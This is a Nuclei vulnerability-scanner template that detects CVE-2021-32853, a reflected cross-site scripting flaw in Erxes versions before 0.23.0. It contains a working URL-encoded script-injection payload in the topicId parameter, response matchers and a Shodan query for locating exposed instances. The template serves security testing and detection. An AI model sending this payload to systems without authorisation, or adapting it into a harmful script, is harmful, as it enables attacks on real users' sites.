nuclei-templates/http/cves/2021/CVE-2021-32853.yaml

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1.8 KiB
YAML

id: CVE-2021-32853
info:
name: Erxes <0.23.0 - Cross-Site Scripting
author: dwisiswant0
severity: critical
description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
remediation: |
Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2021-32853
cwe-id: CWE-79
epss-score: 0.00585
epss-percentile: 0.75704
cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: erxes
product: erxes
shodan-query: http.title:"erxes"
tags: cve,cve2021,xss,erxes,oss
http:
- method: GET
path:
- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'topic_id: "</script><script>alert(document.domain)</script>'
- "window.erxesEnv"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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